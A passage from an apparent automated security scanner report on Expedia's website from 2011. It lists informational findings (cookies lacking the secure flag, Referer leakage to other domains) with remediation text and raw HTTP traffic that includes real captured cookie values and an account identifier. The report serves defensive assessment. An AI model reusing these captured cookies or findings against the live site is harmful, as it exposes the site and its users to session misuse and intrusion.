                   pkg = args[i].split('.');
                   root = window;

                   for (j=0; j<pkg.length; j=j+1) {
                       root[pkg[j]] = root[pkg[j]] || {};
                       root = root[pkg[j]];
                   }
               }
               return root;
           };
       }

       xp.namespace("xp.nav");
       xp.nav.track
...[SNIP]...

Request 2

GET /daily/service/default.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; s1=`user=v.8,0,EX01528414FE$F4$B5202000X$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$EDIs$A8$FB$27$95$E4$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_FLTFLEX_CALENDAR%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/daily/service/default.asp%252526ot%25253DA%3B

Response 2

HTTP/1.1 301 Moved Permanently
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Location: http://support.expedia.com/app/home/uurl/%3F
Content-Length: 17530
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Date: Fri, 06 May 2011 22:40:35 GMT
Connection: close
Vary: Accept-Encoding



<HTML>
<HEAD>
<LINK REL=stylesheet HREF="/daily/common/style-daily.css">

<TITLE>Customer Service</TITLE>

<script language="javascript" src="http://media.expedia.com/media/content/expus/flash/tutorials/itin/launcher.js"></script>

</HEAD>

<BODY BGCOLOR=#FFFFFF LINK=#333399 VLINK=#660066 ALINK=#333399 TOPMARGIN=0 LEFTMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>

<BASEFONT FACE="Arial,Helvetica,San Serif" size=2>


<link rel="stylesheet" type="text/css" href="/daily/styles/main.css?v=4" />

<script type="text/javascript" language="javascript" src="/daily/js/common.js.asp"></script>

<script language="javascript" src="http://media.expedia.com/media/content/expus/flash/tutorials/itin/launcher.js"></script>
<script language="javascript" src="/daily/js/flash.js"></script>
<script language="vbscript" src="/daily/js/flash.vbs"></script>

       <script language="javascript" type="text/javascript" src="/static/default/default/scripts/popunder.js?v=release-2011-05-r1.3.182136"></script>
<div id="xp-hdr" style="float:left;">
   <script type="text/javascript">
       if (typeof xp === "undefined"){
           var xp = {};
       }

       if (typeof xp.namespace === "undefined"){
           xp.namespace = function() {
               var args = arguments, root = null, pkg;
               for (i=0; i<args.length; i=i+1) {
                   pkg = args[i].split('.');
                   root = window;

                   for (j=0; j<pkg.length; j=j+1) {
                       root[pkg[j]] = root[pkg[j]] || {};
                       root = root[pkg[j]];
                   }
               }
               return root;
           };
       }

       xp.namespace("xp.nav");
       xp.nav.trackAnalytics = function (obj, type, id){
           if('undefined' != typeof(s_exp_trackClick) && s_exp_trackClick){
               s_exp_trackClick(obj, type, id);
           }
           return true;
       }

       xp.namespace("xp.nav.event
...[SNIP]...

10. SSL cookie without secure flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

s1=`user=v.8,0,EX0183E3F010$F4$B5204000k$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$83$A7rJ$D3$B5$CD3$82$AB$89$FB!e02000`129; Domain=.expedia.com; path=/
p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`airp=v.1,AUS`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

Response

11. Cross-domain Referer leakage previous next
There are 4 instances of this issue:

http://www.expedia.com/daily/hotels/unpublishedrates/default.asp
http://www.expedia.com/pub/agent.dll
http://www.expedia.com/static/default/default/scripts/exp/core/ChannelTracking.js
https://www.expedia.com/pub/agent.dll

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

11.1. http://www.expedia.com/daily/hotels/unpublishedrates/default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/daily/hotels/unpublishedrates/default.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.expedia.com/daily/hotels/unpublishedrates/default.asp?mcicid=101278404

The response contains the following links to other domains:

http://investors.expediainc.com/phoenix.zhtml?c=190013&p=irol-irhome
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash
http://www.bloglines.com/
http://www.carrentals.com/
http://www.citysearch.com/
http://www.classicvacations.com/
http://www.evite.com/
http://www.expedia.at/
http://www.expedia.be/
http://www.expedia.ca/
http://www.expedia.de/
http://www.expedia.dk/
http://www.expedia.es/
http://www.expedia.fr/
http://www.expedia.ie/
http://www.expedia.it/
http://www.expedia.nl/
http://www.expedia.no/
http://www.expedia.se/
http://www.expediaaccess.com/US/Special_Prog.aspx
http://www.expediaaffiliate.com/private-label-xml.html
http://www.expediainc.com/
http://www.facebook.com/expedia
http://www.facebook.com/plugins/like.php?href=www.facebook.com%2Fexpedia&layout=button_count&show_faces=false&width=90&action=like&colorscheme=light&height=21&ref=header
http://www.gifts.com/
http://www.hotels.com/
http://www.hotwire.com/
http://www.hsn.com/
http://www.lendingtree.com/
http://www.match.com/
http://www.pronto.com/
http://www.servicemagic.com/
http://www.shoebuy.com/
http://www.thedailybeast.com/
http://www.ticketweb.com/
http://www.travel-ticker.com/
http://www.tripadvisor.com/
http://www.venere.com/
https://joinexpedia.com/us/us.asp
https://secure.opinionlab.com/ccc01/comment_card.asp

Request

GET /daily/hotels/unpublishedrates/default.asp?mcicid=101278404 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHome%25252520Page%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/default.asp%25252523%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cteonnt-Length: 95603
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Date: Fri, 06 May 2011 22:34:20 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 95603

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<a href="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash">Get Adobe Flash</a>
...[SNIP]...
<li><a href="https://joinexpedia.com/us/us.asp" rel="nofollow" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">Add a Hotel</a>
...[SNIP]...
<li><a href="http://www.expediaaccess.com/US/Special_Prog.aspx" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">Travel Agents Affiliate Program</a>
...[SNIP]...
<li><a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">Expedia Private Label</a>
...[SNIP]...
<li><a href="http://www.hotels.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Hotels.com</a>
...[SNIP]...
<li><a href="http://www.tripadvisor.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">TripAdvisor</a>
...[SNIP]...
<li><a href="http://www.venere.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Venere</a>
...[SNIP]...
<li><a href="http://www.hotwire.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Hotwire</a>
...[SNIP]...
<li><a href="http://www.classicvacations.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">ClassicVacations.com</a>
...[SNIP]...
<li><a href="http://www.bloglines.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Bloglines</a>
...[SNIP]...
<li><a href="http://www.carrentals.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">CarRentals.com</a>
...[SNIP]...
<li><a href="http://www.citysearch.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">CitySearch</a>
...[SNIP]...
<li><a href="http://www.evite.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Evite</a>
...[SNIP]...
<li><a href="http://www.gifts.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Gifts</a>
...[SNIP]...
<li><a href="http://www.lendingtree.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Lending Tree</a>
...[SNIP]...
<li><a href="http://www.match.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Match</a>
...[SNIP]...
<li><a href="http://www.hsn.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Online Shopping</a>
...[SNIP]...
<li><a href="http://www.pronto.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Pronto</a>
...[SNIP]...
<li><a href="http://www.servicemagic.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">ServiceMagic</a>
...[SNIP]...
<li><a href="http://www.shoebuy.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Shoes</a>
...[SNIP]...
<li><a href="http://www.thedailybeast.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">The Daily Beast</a>
...[SNIP]...
<li><a href="http://www.ticketweb.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">TicketWeb</a>
...[SNIP]...
<li><a href="http://www.travel-ticker.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Travel Ticker</a>
...[SNIP]...
<li><a href="http://investors.expediainc.com/phoenix.zhtml?c=190013&p=irol-irhome" rel="nofollow" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:CorporateLink')">Investor Relations</a>
...[SNIP]...
<li><a href="http://www.expedia.at/" title="Expedia.at" class="flag-at" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.be/" title="Expedia.be" class="flag-be" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.ca/" title="Expedia.ca" class="flag-ca" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.dk/" title="Expedia.dk" class="flag-dk" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.fr/" title="Expedia.fr" class="flag-fr" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.de/" title="Expedia.de" class="flag-de" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.ie/" title="Expedia.ie" class="flag-ie" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.it/" title="Expedia.it" class="flag-it" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.nl/" title="Expedia.nl" class="flag-nl" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.no/" title="Expedia.no" class="flag-no" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.es/" title="Expedia.es" class="flag-es" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.se/" title="Expedia.se" class="flag-se" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<div id="footer-copyright" class="footer-list-container">
©2011 <a href="http://www.expediainc.com/" rel="nofollow" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Copyright')">Expedia, Inc.</a>
...[SNIP]...

11.2. http://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The page was loaded from a URL containing a query string:

http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429

The response contains the following links to other domains:

http://investors.expediainc.com/phoenix.zhtml?c=190013&p=irol-irhome
http://www.bloglines.com/
http://www.carrentals.com/
http://www.citysearch.com/
http://www.classicvacations.com/
http://www.evite.com/
http://www.expedia.at/
http://www.expedia.be/
http://www.expedia.ca/
http://www.expedia.de/
http://www.expedia.dk/
http://www.expedia.es/
http://www.expedia.fr/
http://www.expedia.ie/
http://www.expedia.it/
http://www.expedia.nl/
http://www.expedia.no/
http://www.expedia.se/
http://www.expediaaccess.com/US/Special_Prog.aspx
http://www.expediaaffiliate.com/private-label-xml.html
http://www.expediainc.com/
http://www.facebook.com/expedia
http://www.facebook.com/plugins/like.php?href=www.facebook.com%2Fexpedia&layout=button_count&show_faces=false&width=90&action=like&colorscheme=light&height=21&ref=header
http://www.gifts.com/
http://www.hotels.com/
http://www.hotwire.com/
http://www.hsn.com/
http://www.lendingtree.com/
http://www.match.com/
http://www.pronto.com/
http://www.servicemagic.com/
http://www.shoebuy.com/
http://www.thedailybeast.com/
http://www.ticketweb.com/
http://www.travel-ticker.com/
http://www.tripadvisor.com/
http://www.venere.com/
https://joinexpedia.com/us/us.asp
https://secure.opinionlab.com/ccc01/comment_card.asp

Request

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:36:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: s1=`user=v.8,0,EX01FC4C06DD$F4$B5202000B$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$3A!2$0B$84$DFF$D5$9D$82$AB$89$FB!e02000`132; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 107839


<style type="text/css">

.intchk {width: 100%; font-size: 16px; font-weight: bold; color:#C60;}
.intchk ul{list-style-type: none; padding: 0; margin-left: 1em;}
.
...[SNIP]...
</script>

<a id="nav-tool-feedback" rel="nofollow" target="_top" href="https://secure.opinionlab.com/ccc01/comment_card.asp" onclick="xp.nav.trackAnalytics(this,'a','Head:Nav:None:Opinion');OpinionLab.O_LC();return false;" >
Feedback
</a>
...[SNIP]...
<div style="float:left;padding:8px 5px 0px 0px;color:#003e7e;font-size:12px;font-weight:bold;"><a href="http://www.facebook.com/expedia" style="text-decoration:none;color:#003e7e;" target="_blank">Like us on Facebook</a></div>
<iframe src="http://www.facebook.com/plugins/like.php?href=www.facebook.com%2Fexpedia&layout=button_count&show_faces=false&width=90&action=like&colorscheme=light&height=21&ref=header" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:90px; height:21px; margin-top:4px;" allowTransparency="true"></iframe>
...[SNIP]...
<li><a href="https://joinexpedia.com/us/us.asp" rel="nofollow" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">Add a Hotel</a>
...[SNIP]...
<li><a href="http://www.expediaaccess.com/US/Special_Prog.aspx" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">Travel Agents Affiliate Program</a>
...[SNIP]...
<li><a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">Expedia Private Label</a>
...[SNIP]...
<li><a href="http://www.hotels.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Hotels.com</a>
...[SNIP]...
<li><a href="http://www.tripadvisor.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">TripAdvisor</a>
...[SNIP]...
<li><a href="http://www.venere.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Venere</a>
...[SNIP]...
<li><a href="http://www.hotwire.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Hotwire</a>
...[SNIP]...
<li><a href="http://www.classicvacations.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">ClassicVacations.com</a>
...[SNIP]...
<li><a href="http://www.bloglines.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Bloglines</a>
...[SNIP]...
<li><a href="http://www.carrentals.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">CarRentals.com</a>
...[SNIP]...
<li><a href="http://www.citysearch.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">CitySearch</a>
...[SNIP]...
<li><a href="http://www.evite.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Evite</a>
...[SNIP]...
<li><a href="http://www.gifts.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Gifts</a>
...[SNIP]...
<li><a href="http://www.lendingtree.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Lending Tree</a>
...[SNIP]...
<li><a href="http://www.match.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Match</a>
...[SNIP]...
<li><a href="http://www.hsn.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Online Shopping</a>
...[SNIP]...
<li><a href="http://www.pronto.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Pronto</a>
...[SNIP]...
<li><a href="http://www.servicemagic.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">ServiceMagic</a>
...[SNIP]...
<li><a href="http://www.shoebuy.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Shoes</a>
...[SNIP]...
<li><a href="http://www.thedailybeast.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">The Daily Beast</a>
...[SNIP]...
<li><a href="http://www.ticketweb.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">TicketWeb</a>
...[SNIP]...
<li><a href="http://www.travel-ticker.com/" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Epartners')">Travel Ticker</a>
...[SNIP]...
<li><a href="http://investors.expediainc.com/phoenix.zhtml?c=190013&p=irol-irhome" rel="nofollow" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:CorporateLink')">Investor Relations</a>
...[SNIP]...
<li><a href="http://www.expedia.at/" title="Expedia.at" class="flag-at" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.be/" title="Expedia.be" class="flag-be" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.ca/" title="Expedia.ca" class="flag-ca" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.dk/" title="Expedia.dk" class="flag-dk" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.fr/" title="Expedia.fr" class="flag-fr" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.de/" title="Expedia.de" class="flag-de" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.ie/" title="Expedia.ie" class="flag-ie" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.it/" title="Expedia.it" class="flag-it" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.nl/" title="Expedia.nl" class="flag-nl" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.no/" title="Expedia.no" class="flag-no" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.es/" title="Expedia.es" class="flag-es" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<li><a href="http://www.expedia.se/" title="Expedia.se" class="flag-se" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:AllSites')"></a>
...[SNIP]...
<div id="footer-copyright" class="footer-list-container">
©2011 <a href="http://www.expediainc.com/" rel="nofollow" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:Copyright')">Expedia, Inc.</a>
...[SNIP]...

11.3. http://www.expedia.com/static/default/default/scripts/exp/core/ChannelTracking.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/static/default/default/scripts/exp/core/ChannelTracking.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.expedia.com/static/default/default/scripts/exp/core/ChannelTracking.js?v=1.1&v=release-2011-05-r1.3.182136

The response contains the following link to another domain:

http://serviceslb-198436258.us-east-1.elb.amazonaws.com/Header/v1?pt=cobrand&partnerid=40654&pos=29&type=footer

Request

GET /static/default/default/scripts/exp/core/ChannelTracking.js?v=1.1&v=release-2011-05-r1.3.182136 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Accept-Ranges: bytes
ETag: W/"10855-1304698922517"
Last-Modified: Fri, 06 May 2011 16:22:02 GMT
Content-Type: text/javascript
Cteonnt-Length: 10855
Vary: Accept-Encoding
Cache-Control: private, max-age=65846
Date: Fri, 06 May 2011 22:33:33 GMT
Connection: close
Content-Length: 10855

//configuration --- can be put into separate file
//first flag indicates clear seoid
//second flag - null indicates check for SEMCID, true is to clear the cookie, false is don't clear the cookie
v
...[SNIP]...
/ footer
       var footerDiv = document.getElementById('footer');
       var dynamicFooterDiv = document.createElement("div");
       dynamicFooterDiv.id = "msnnzFooterSuffix";
       dynamicFooterDiv.innerHTML = '<iframe scrolling=no frameborder=no style="height:65px; width:992px; border:none; overflow:hidden;" border="0" src="http://serviceslb-198436258.us-east-1.elb.amazonaws.com/Header/v1?pt=cobrand&partnerid=40654&pos=29&type=footer"></iframe>
...[SNIP]...

11.4. https://www.expedia.com/pub/agent.dll previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The page was loaded from a URL containing a query string:

https://www.expedia.com/pub/agent.dll?qscr=fbak&&zz=1247500409281&&zz=1304739644741

The response contains the following links to other domains:

https://joinexpedia.com/us/us.asp
https://secure.opinionlab.com/ccc01/comment_card.asp
https://www.facebook.com/plugins/like.php?href=www.facebook.com%2Fexpedia&layout=button_count&show_faces=false&width=90&action=like&colorscheme=light&height=21&ref=header
